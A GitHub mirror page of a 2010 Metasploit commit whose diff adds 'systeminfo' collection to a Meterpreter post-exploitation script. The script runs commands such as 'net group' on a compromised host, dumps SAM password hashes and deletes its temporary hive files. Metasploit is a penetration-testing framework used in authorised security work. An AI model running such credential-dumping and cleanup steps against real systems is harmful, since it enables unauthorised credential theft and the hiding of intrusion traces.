1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-12 11:52:01 +01:00

Add systeminfo to the list, only works on XP+

git-svn-id: file:///home/svn/framework3/trunk@8964 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
HD Moore 2010-03-31 04:45:50 +00:00
parent 71a2064520
commit 932ffd65c2

View File

@ -45,7 +45,7 @@ def m_exec(session, cmd)
while(d = r.channel.read)
b << d
end
r.channel.close
r.channel.close
r.close
b
end
@ -122,6 +122,10 @@ begin
fd.puts(m_exec(session, "net group"))
end
::File.open(File.join(logs, "systeminfo.txt"), "w") do |fd|
fd.puts(m_exec(session, "systeminfo"))
end
begin
session.core.use("priv")
hashes = session.priv.sam_hashes
@ -149,9 +153,10 @@ begin
print_status(" Cleaning #{hive}")
m_unlink(session, tempname)
end
print_status("Completed processing on #{host}:#{port}...")
rescue ::Exception => e
print_status("Exception: #{e.class} #{e} #{e.backtrace}")
end